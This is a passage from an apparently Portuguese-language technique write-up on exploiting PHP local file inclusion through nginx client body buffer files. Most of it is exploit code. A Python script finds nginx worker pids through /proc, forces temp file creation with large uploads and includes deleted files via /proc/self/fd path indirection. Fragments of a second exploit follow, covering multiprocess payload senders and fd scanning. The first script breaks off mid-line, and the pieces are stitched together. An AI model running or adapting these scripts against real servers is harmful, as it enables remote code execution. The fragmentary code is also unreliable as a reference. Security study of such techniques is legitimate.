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/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Observação: Não é possível incluir diretamente \`/proc/34/fd/15\` neste exemplo, pois a função \`include\` do PHP resolveria o caminho para \`/var/lib/nginx/body/0000001368 (deleted)\`, que não existe no sistema de arquivos. Essa restrição mínima pode ser contornada por alguma indireção como: \`/proc/self/fd/34/../../../34/fd/15\`, que finalmente executará o conteúdo do arquivo deletado \`/var/lib/nginx/body/0000001368\`. ## Exploração Completa \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # fazer upload de um corpo de cliente grande para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
def send_payload_multiprocess(requests_session): # Use all CPUs to send the payload as request body for Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho ProcFS. Um caminho gerado terá a aparência de /proc/<nginxpid1>/cwd/proc/<nginxpid2>/root/proc/<nginxpid3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Escaneia os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da solicitação abra dentro desta faixa for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
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